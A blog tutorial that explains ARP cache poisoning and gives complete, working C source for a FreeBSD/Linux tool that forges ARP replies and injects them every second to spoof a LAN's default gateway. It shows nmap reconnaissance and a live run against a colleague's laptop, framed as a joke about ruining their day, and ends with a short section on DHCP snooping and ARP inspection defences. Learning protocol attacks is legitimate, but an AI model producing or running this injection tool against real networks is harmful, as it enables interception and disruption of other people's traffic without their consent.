Introduction to packet injection on FreeBSD and Linux

Table of Contents

Intro

This article builds on top of the concepts we learned in Introduction to ARP. If you’re not familiar with ARP, I suggest you read that article before proceeding with this exercise.

As I discussed briefly in my previous article - personally I think nothing cements the ins-and-outs of a network protocol in your brain better than writing code that either implements or messes with that protocol. So in this article, we’ll be writing a toy C program to spoof an IPv4 address using the Address Resolution Protocol.

There are some fantastic libraries such as libpcap and libnet that provide good interfaces for packet injection. But for this exercise I wanted to both learn and show you how to write out raw packets on FreeBSD and Linux using very barebones utilities and ideally zero dependencies, so you can see roughly how those libraries do what they do.

The full code for this article is here and includes build and usage instructions for you to wreak havoc. :)

Thank you again Kiran Ostrolenk for reviewing and helping me edit this article.

Exploiting ARP - packet injection

We now have an understanding of how IPv4 hosts resolve logical addresses to physical addresses. We’ve also seen the structure of the Ethernet II frame and the ARP header. So now, let me tell you a fun fact about ARP:

Most hosts will blindly update their ARP caches from ANY ARP messages - and these messages can contain false information.

A lot of enterprise networks will employ technologies such as ARP inspection (discussed in ‘mitigations’) on their switches to prevent these sort of attacks. But on the average coffee shop / home WiFi, you can create ARP replies from scratch filled with malicious information, push that down the wire, and the target host will just take your word for it. The practice of constructing malicious packets to interfere with network protocols is called packet injection.

As discussed in the previous article, when a host wants to send traffic to an IP address in the internet, it constructs an ARP message to resolve the hardware address of it’s default gateway/router. A threat actor can spoof the IPv4 address of the default gateway on the LAN, making target hosts believe that the physical address of the gateway is the threat actor’s machine. The target hosts will now send traffic to the attacker instead, where it is forwarded onto the gateway and the victim is ignorant. This is one example of how to execute a man-in-the-middle attack (MITM).

arp_poisoning.png

Today I won’t be showing you how to do perform the full dance of a MITM attack, but I will show you the first half - we’ll write a toy C program to spoof an IPv4 address on the LAN and make some poor host think we are the default gateway by injecting packets. Sending malicious ARP replies to a host is referred to as ARP cache poisoning.

I want to keep this simple but semi-flexible so we’ll create a program that:

  • Takes a device argument for the interface we will be using for injection
  • Takes a SOURCE MAC address argument (In the AA:BB:CC:11:22:33 style format) to insert into the Ethernet II frame and as the sender hardware address in the ARP header
  • Takes a SOURCE IP address argument to insert into the sender protocol address in the ARP header
  • Takes a DEST MAC address argument to insert into the Ethernet II frame and as the target hardware address in the ARP header
  • Takes a DEST IP address argument to insert into the target protocol address in the ARP header
  • In the interest of portability for this blog post it should build and run on both FreeBSD and Linux

Programming

There will be snippets throughout the article, but the full code is available here.

Building the ARP reply message

While both FreeBSD and Linux provide data structures for ethernet frames and ARP headers they use different names and so in the interest of portability I will be defining them myself.

#define ETHER_ADDRESS_LEN       6       /* 6 octets/bytes in a MAC address */
#define ETHER_HEADER_LEN        14      /* Ethernet II header is 14 octets */
#define ETHER_TYPE_IP4          0x0800  /* Ethertype for IPv4 */
#define ETHER_TYPE_ARP          0x0806  /* Ethertype for ARP */

#define ARP_HEADER_LEN          28      /* 28 octets in an ARP header */
#define ARP_HEADER_ETHER        1       /* For ethernet hardware format */
#define ARP_OP_REPLY            2       /* Op code for ARP reply */

#define IP4_ADDR_LEN            4       /* 4 octets in an IPv4 address */

struct eth_hdr {
    uint8_t  dest[ETHER_ADDRESS_LEN];
    uint8_t  src[ETHER_ADDRESS_LEN];
    uint16_t ethtype;
} __attribute__((__packed__));

struct arp_hdr {
    uint16_t htype;
    uint16_t ptype;
    uint8_t  hlen;
    uint8_t  plen;
    uint16_t op;
    uint8_t  sha[ETHER_ADDRESS_LEN];
    uint32_t spa;
    uint8_t  tha[ETHER_ADDRESS_LEN];
    uint32_t tpa;
} __attribute__((__packed__));

The macros define some useful values that we use a lot in networking functions.

The struct eth_hdr defines the structure of the ethernet II frame and arp_hdr the structure of ARP the header. The variables in these structs will be populated with the header fields described in the previous article.

Notice the __attribute__((__packed__)) - this instructs the compiler that we do not want padding (a.k.a structure alignment) on these structures. The architecture of some processors dictates that they read memory 1 word at a time. To take advantage of this, compilers pad structures along natural address boundaries so that the processor does not have to waste cycles when accessing structure members. Values in network headers are expected to be at certain byte offsets so we don’t want such padding here. There is a good explanation of structure alignment here on scaler.com.

Now that we’ve defined the basic structures, we need ways to fill this information. The user will supply MAC addresses and IP addresses as strings in the forms “AA:BB:CC:11:22:33” and “192.168.1.1”. The MAC address is an ASCII string representing bytes separated by colons. If we ignore the colons, converting this into a raw byte form is actually quite trivial. IPv4 addresses however are represented in decimal numbers and their byte form conversion is a little trickier. Luckily both Linux and FreeBSD have arpa/inet.h, which declares inet_pton(), a useful function that converts different IP address into network byte form.

I couldn’t find any utilities on both Linux and FreeBSD for converting MAC addressing without installing something like libnet and using libnet_hex_aton(). However, the process is not so complicated so we can build one ourselves.

First thing we need is a way to convert a single character to a byte, like '1' into 0x01 and 'F' into 0x0F etc. To do that we create a helper function _hextoint, which takes a character representing a single hexadecimal digit and returns it in byte form.

The first thing to note is chars in C are just integers representing ASCII values. So, for example, 'A' in C represents the number 65 in decimal. If, on the other hand, 'A' is a hexadecimal number being read by a human, it represents 10 in decimal. The rest of the capital letters follow on sequentially in the ASCII table (B=66, C=67, D=68), so for any capital hexadecimal letter c between A-F we can get it’s binary form by subtracting 65 and adding 10. For instance if c = 'B': (‘B’ - ‘A’) + 10 = (66 - 65) + 10 = 1 + 10 = 11.

We can also do the same for lower case letters (which start from 97 in the ASCII table) and digits (which start from 48). However, we don’t need to know those numbers and can use their character forms in the arithmetic:

/* Helper function to converts a single hex character to binary */
static char _hextoint(const char c)
{
    if(c >= '0' && c <= '9')
        return c - '0';
    if(c >= 'a' && c <= 'f')
        return c - 'a' + 10;
    if(c >= 'A' && c <= 'F')
        return c - 'A' + 10;
    return -1;
}

Now that we can convert a single hexadecimal character into binary we can convert strings into MAC addresses. Below is the function convert_macaddr():

/* Converts the colon seperated MAC address contained in
 * str to a 6 byte machine readable address in dest
 */
int convert_macaddr(uint8_t* const dest, const char *str)
{
    /* A colon notation mac address AA:BB:CC:DD:EE:FF is
     * exactly 17 chars in length, if the user has supplied
     * a str that is not 17 chars then it is invalid.
     */
    if(strlen(str) != 17) {
        return -1;
    }

    const char *ptr = str;
    int i = 0;
    while(i < 6) {
        char hex;
        /* If hextoint returns -1 then character is not valid */
        if((hex = _hextoint(*ptr++)) == -1)
            return -1;
        unsigned char byte = hex << 4;
        if((hex = _hextoint(*ptr++)) == -1)
            return -1;
        byte += hex;
        /* Skip colon */
        ptr++;
        dest[i++] = byte;
    }

    return 0;
}

Lets walk through this step by step:

  • The first thing is a very simple sanity check. a colon separated MAC address should be 17 characters in length. If it isn’t then it is invalid.
  • If it is 17 characters in length then we can attempt to parse it. We create a pointer ptr representing the first character in the string and set a counter to 0 for accessing the destination buffer. A MAC address is 6 bytes so there is exactly 6 iterations of the parsing loop in a valid MAC address.
  • We convert the hex character ptr points to into binary. If ptr does not point to a valid hex character _hextoint() returns -1 and the supplied MAC address is invalid. ptr is incremented after this.
  • If it is valid then hex contains the binary form of the character. A byte is represent by two hexadecimal digits (e.g. 0x4F). A MAC address is 6 bytes separated by colons, and we have only converted a character so the first character parsed in each byte needs to be multiplied by 16 or bit shifted left by 4 (16 = 2^4).
  • After that we can parse the second character in the byte. ptr is incremented after this.
  • Because the first hex digit has been bit shifted into the correct place we can add the second half of the byte in hex to complete the binary form of this byte of the MAC address
  • At this point ptr should point to a colon which is not part of the machine-readable MAC address so we can just skip over it. Notice however that we do not check explicitly that ptr is a colon so convert_macaddr() will actually convert a MAC address separated by any delimiter.
  • We put the byte into the destination buffer and increment the counter.

Phew! Complicated, yet simple :)

Let’s create a function that will fill out the data structures for us:

void build_arp_reply(uint8_t* const buf,
                     const char *sha,
                     const char *spa,
                     const char *tha,
                     const char *tpa)
{
    /* Convert the MAC addresses into binary */
    uint8_t bin_sha[ETHER_ADDRESS_LEN], bin_tha[ETHER_ADDRESS_LEN];
    if(convert_macaddr(bin_sha, sha) == -1)
        fatal(1, "Source MAC address invalid");
    if(convert_macaddr(bin_tha, tha) == -1)
        fatal(1, "Target MAC address invalid");

    /* Building the Ethernet II frame */
    struct eth_hdr bad_frame;
    memcpy(bad_frame.dest, bin_tha, ETHER_ADDRESS_LEN);
    memcpy(bad_frame.src, bin_sha, ETHER_ADDRESS_LEN);
    bad_frame.ethtype = htons(ETHER_TYPE_ARP);

    /* Building the ARP Header */
    struct arp_hdr bad_hdr;
    bad_hdr.htype = htons(ARP_HEADER_ETHER);
    bad_hdr.ptype = htons(ETHER_TYPE_IP4);
    bad_hdr.hlen = ETHER_ADDRESS_LEN;
    bad_hdr.plen = IP4_ADDR_LEN;
    bad_hdr.op = htons(ARP_OP_REPLY);
    memcpy(bad_hdr.sha, bin_sha, ETHER_ADDRESS_LEN);
    memcpy(bad_hdr.tha, bin_tha, ETHER_ADDRESS_LEN);

    /* Convert the IP addresses into binary */
    if(!inet_pton(AF_INET, spa, &bad_hdr.spa))
        fatal(1, "Bad source protocol address");
    if(!inet_pton(AF_INET, tpa, &bad_hdr.tpa))
        fatal(1, "Bad target protocol address");

    /* Copy ARP reply into buffer */
    memcpy(buf, &bad_frame, ETHER_HEADER_LEN);
    memcpy(buf + ETHER_HEADER_LEN, &bad_hdr, ARP_HEADER_LEN);
}

I don’t want to speak too much about build_arp_reply() as it simply copies data into the destination buffer using the structures we defined earlier in the article. But there are a few things worth mentioning:

  • The ethertype we place in the ethernet header is the binary number 0x0806 which indicates that the payload of this ethernet frame is an ARP message.
  • Within the ARP header we specify the operation as a reply (2).
  • htons(): htons(3) is a function provided by arpa/inet.h for converting binary values between Host and network byte order. RFC 1700 dictates that multi-byte fields in network headers use big endian byte ordering (with the most significant octet at the lowest memory address). My x86 system is little-endian, and so htons() (‘Host to network short’) is used to convert them.
  • inet_pton(): As mentioned earlier, inet_pton() is a useful function provided by arpa/inet.h for converting different IP address into binary form.
    • It takes 3 arguments:
      • The address family we’re converting (AF_INET for IPv4)
      • A pointer to the string
      • A pointer to the destination buffer
    • Returns 0 if the address was not parse-able for the given address family
    • It takes care of conversion to network byte order

Now that we’ve got a function for assembling the ARP replies, we’re ready to start injecting some packets.

Injection

Now we get onto the not-so-portable part, injecting the packet. There are plenty of portable ways to send raw ethernet frames such as pcap_sendpacket(3) from the popular libpcap and various functions in libnet. But these may require additional libraries to be installed depending on what was distributed with your operating system and more importantly - I think it is cool to learn how to inject packets without anything too special. :)

Now, the approaches to sending raw ethernet frames in Linux and FreeBSD are a little different:

  • FreeBSD:
    • In FreeBSD we can use /dev/bpf, the Berkeley Packet Filter device node. Bpf is a network tap which provides a raw interface to data-link layer.
    • We open /dev/bpf, bind the file descriptor to a specific network interface using ioctl() and then simple calls to write() on that file descriptor can be used to inject packets.
  • In Linux raw sockets can be used to send ethernet frames:
    • Open a raw socket
    • Build a sockaddr_ll structure which defines a link layer address for a call to sendto()
    • Use sendto() to with a sockaddr_ll structure as the destination to send frames out of a specific interface

Let’s first take a look at the FreeBSD portion of the inject function:

int inject(const char *device, const uint8_t *buf, const int len)
#if __FreeBSD__
{
    int fd;

    /* Open the bpf device node */
    if((fd = open("/dev/bpf", O_RDWR)) == -1) {
        perror("Error in open(\"/dev/bpf\")");
        return -1;
    }

    /* Create the request for ioctl() */
    struct ifreq bind_req;
    /* Zero out the struct */
    memset(&bind_req, 0, sizeof(struct ifreq));
    /* Copy the name of the device we want to bind to into ifr_name */
    strcpy(bind_req.ifr_name, device);
    /* Bind file descriptor to interface */
    if(ioctl(fd, BIOCSETIF, &bind_req) == -1) {
        perror("Error binding to interface - ioctl()");
        return -1;
    }

    /* Write out to bpf */
    if(write(fd, buf, len) == -1) {
	close(fd);
        perror("Error writing to /dev/bpf");
        return -1;
    }

    /* Close file descriptor */
    close(fd);
    return 0;
}

We use the preprocessors #if _FreeBSD__ and #elif __linux__ to define different implementations of inject() based on the OS we’re building on. We also do this for the OS specific include headers.

The first part of the FreeBSD code is quite familiar. We’re opening the file /dev/bpf (the bpf device node) in read/write mode.

Next we build the ifreq struct. ifreq structures are used by ioctl() to manipulate network interfaces. It contains information such as the interface name, index, metric, hardware address and more information. See netintro(4) for more detail on ifreq. Here we are using the ifreq struct to identify a network interface in a call to ioctl() to ‘bind’ the interface we want to use with the bpf file descriptor using the option BIOCSETIF. See bpf(4) for more info on using bpf.

When we have bound the file descriptor to an interface, we can then simply write to it like any other file to send raw ethernet frames on the wire. In this example toy program, we do actually send packets continuously - so it would make sense to keep the file open and avoid having to create the descriptor and the call to ioctl() every time we want to send a packet. But for the sake of simplicity inject() was written to demonstrate how to send an single ethernet frame, so we close the bpf descriptor is closed at the end of the function.

Now lets look at the Linux half:

#elif __linux__
{
    /* Create the socket */
    int sfd = socket(AF_PACKET, SOCK_RAW, 0);

    /* Copy device name into ifreq struct */
    struct ifreq index_req;
    memset(&index_req, 0, sizeof(struct ifreq));
    strcpy(index_req.ifr_name, device);

    /* Get the interfaces index for the sockaddr_ll struct */
    if(ioctl(sfd, SIOGIFINDEX, &index_req) == -1) {
	close(sfd);
        perror("Error getting interface index");
        return -1;
    }

    /* Set the index of the device and the size of the hardware address length
     * in sockaddr_ll, we do not need to fill other link-layer information
     * as we have built the ethernet frame ourselves
     */
    struct sockaddr_ll addr;
    addr.sll_ifindex = index_req.ifr_ifindex;
    addr.sll_halen = ETHER_ADDRESS_LEN;

    /* Send the ARP reply */
    if(sendto(sfd,
	      buf,
	      len,
	      0,
	      (struct sockaddr *) &addr,
	      sizeof(struct sockaddr_ll)) == -1) {
	close(sfd);
        perror("Error in sendto()");
        return -1;
    }

    /* Close the socket descriptor */
    close(sfd);
    return 0;
}
#endif

Sending a raw ethernet frame in Linux is slightly more involved, but still quite simple. Instead of relying upon bpf we can use raw sockets (SOCK_RAW) and sendto(). sendto() takes a pointer to a sockaddr structure that defines a destination address to send the buffer to. In transport layer traffic sendto() is often used to send UDP messages using SOCK_DGRAM sockets. In these calls to sendto() a sockaddr_in structure is used which defines an destination IP address and port for the datagram, and the buffer is application level data. See ip(7).

Similarly, when sending raw ethernet frames in Linux, a raw socket is opened using address family AF_PACKET and socket type SOCK_RAW and then a sockaddr_ll structure is used as the destination address instead. A sockaddr_ll struct is a link-level address structure which specifies an interface on which to send the packet and possibly other link-layer information for the kernel to use in the ethernet frame such as the ethertype. We have assembled the entire ethernet frame ourselves so the only data we need to fill in the struct is the index of the interface we want to send on and the length of the hardware address in the data-link frame (the length of a MAC address). See packet(7) for more information on sockaddr_ll and raw/packet sockets in Linux.

To get the index of the interface we need to use a call to ioctl(). Like when we bound the bpf file descriptor to and interface in FreeBSD, we copy the name of the device we want to use into an ifreq structure. We supply the socket descriptor and the option SIOGIFINDEX to ioctl() to fill the ifreq struct with the index information at ifr_ifindex.We then fill a sockaddr_ll structure with the interface index and the hardware address length of ethernet (6 octets).

Last is the call to sendto() where we supply the packet socket file descriptor, a pointer to the buffer we are sending, the length of the buffer, 0 for no additional flags, a pointer to the sockaddr_ll struct, and the size of the address structure we supplied.

Lastly - let’s stitch this all together in the main function:

int main(int argc, char *argv[])
{
    if(argc != 6) {
        usage();
    }

    uint8_t buffer[128];
    char *device, *sha, *spa, *tha, *tpa;

    device = argv[1];
    sha = argv[2];
    spa = argv[3];
    tha = argv[4];
    tpa = argv[5];

    printf("Sending ARP replies with the following:\n");
    printf("Source MAC: %s\n", sha);
    printf("Source IP: %s\n", spa);
    printf("Target MAC: %s\n", tha);
    printf("Target IP: %s\n\n", tpa);

    /* Construct the packet */
    build_arp_reply(buffer, sha, spa, tha, tpa);

    printf("Using device: %s\n\n", device);

    /* Inject an ARP reply every second */
    for(int i = 0;;i++) {
        if(inject(device, buffer, ETHER_HEADER_LEN + ARP_HEADER_LEN) == -1) {
            fatal(-1, "Failed to inject packet");
        } 
        printf("ARP replies injected: %d\r", i);
        fflush(stdout);
        sleep(1);
    }

    return 0;
}

First we’ll naively parse our positional arguments, we have 6 of them and they are to be expected in the following order:

  • Interface
  • Source MAC address
  • Source protocol address
  • Target MAC address
  • Target protocol address

We’ve also made a uint8_t buffer for our packet data. Next we’ll pass all of that information into our build_arp_reply() function to construct our packet.

Now, we’re ready to inject! I want to keep a count of how many packets we’ve injected, so I create a for loop with a counter starting at 0 with no ending condition (We’ll just CTRL-C to get out of this program). Sleeping 1 second between each packet is plenty fast enough to overwhelm most hosts with ARP replies, but tweak the sleep time as you wish. I also terminate the ‘replies injected’ output with a carriage return to go back to the start of the line. This is so we don’t keep printing new lines for every packet we inject, just cause it looks prettier. Because we did not add a newline at the end of the output we must flush stdout to the screen using fflush(3).

Building and Usage

Building

Now that we’re done I’ve saved the latest version of our code to arpsend.c. I’m going to compile it with:

$ cc arpsend.c -o arpsend

Which outputs our executable binary arpsend.

Example attack

Now we’re finally ready - we need only pick a victim! I will use nmap to scan the 10.10.2.0/24 my workstation is currently on:

$ sudo nmap -sn 10.10.2.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-05 16:44 GMT
Nmap scan report for 10.10.2.82
Host is up (0.0033s latency).
MAC Address: 08:BF:B8:A3:1A:35 (Unknown)
Nmap scan report for 10.10.2.254
Host is up (0.0021s latency).
MAC Address: 00:1E:06:45:27:B9 (Wibrain)
Nmap scan report for 10.10.2.80
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.18 seconds

Looks like my colleague is at 10.10.2.82 with MAC address 08:BF:B8:A3:1A:35. Oh well! They’re probably only browsing reddit anyway :) lets tell their laptop we’re the firewall and ruin their day! To do that lets find out what the address of the default gateway is on this LAN. I’m on FreeBSD so I’ll use netstat to find out the default gateway I got from DHCP:

$ netstat -rn4
Routing tables

Internet:
Destination        Gateway            Flags     Netif Expire
default            10.10.2.254        UGS        igc0

I’ll use ifconfig to find the MAC address of an interface that’s on the 10.10.2.0/24 network:

$ ifconfig
igc0: flags=1008943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST,LOWER_UP> metric 0 mtu 1500
	options=4e427bb<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,JUMBO_MTU,VLAN_HWCSUM,TSO4,TSO6,LRO,WOL_MAGIC,VLAN_HWTSO,RXCSUM_IPV6,TXCSUM_IPV6,HWSTATS,MEXTPG>
	ether 08:bf:b8:3b:9c:53
	inet 10.10.2.80 netmask 0xffffff00 broadcast 10.10.2.255
	inet6 fe80::abf:b8ff:fe3b:9c53%igc0 prefixlen 64 scopeid 0x1
	media: Ethernet autoselect (1000baseT <full-duplex>)
	status: active
	nd6 options=23<PERFORMNUD,ACCEPT_RTADV,AUTO_LINKLOCAL>

Last but not least, I’ll use arpsend to cut my colleague off from their memes! MWAHAHAHAHA!

$ sudo ./arpsend igc0 08:bf:b8:3b:9c:53 10.10.2.254 08:BF:B8:A3:1A:35 10.10.2.82
Sending ARP replies with the following:
Source MAC: 08:bf:b8:3b:9c:53
Source IP: 10.10.2.254
Target MAC: 08:BF:B8:A3:1A:35
Target IP: 10.10.2.82

Using device: igc0

ARP replies injected: 8

Mitigations

Now that we know how easy it is to mess with an IPv4 network, how do we protect ourselves against it? Enterprise switches often haves features such as Dynamic ARP Inspection (DAI) which builds on top of the MAC address binding table in DHCP snooping.

  • To prevent unacceptable DHCP messages, DHCP snooping on a capable switch is enabled and each port on the switch is either ’trusted’ or ‘untrusted’. DHCP OFFER messages can only be sent through trusted ports.
  • When a DHCP offer has been acknowledged with a DHCP ACK message, the switch records the MAC address of the host, leased IP address and interface in a table. Should subsequent DHCP requests not match with the data recorded in the table, they will be dropped.
  • If ARP inspection is also configured, this table can also be used to check the authenticity of ARP reply messages. When a switch receives an ARP reply it is inspected. If there is no DHCP binding recorded in the DHCP snooping database for the source IP address and MAC address on that interface, it is discarded. This way hosts can only send ARP replies that match their DHCP binding.

The diagrams in this article were made using diagrams.net.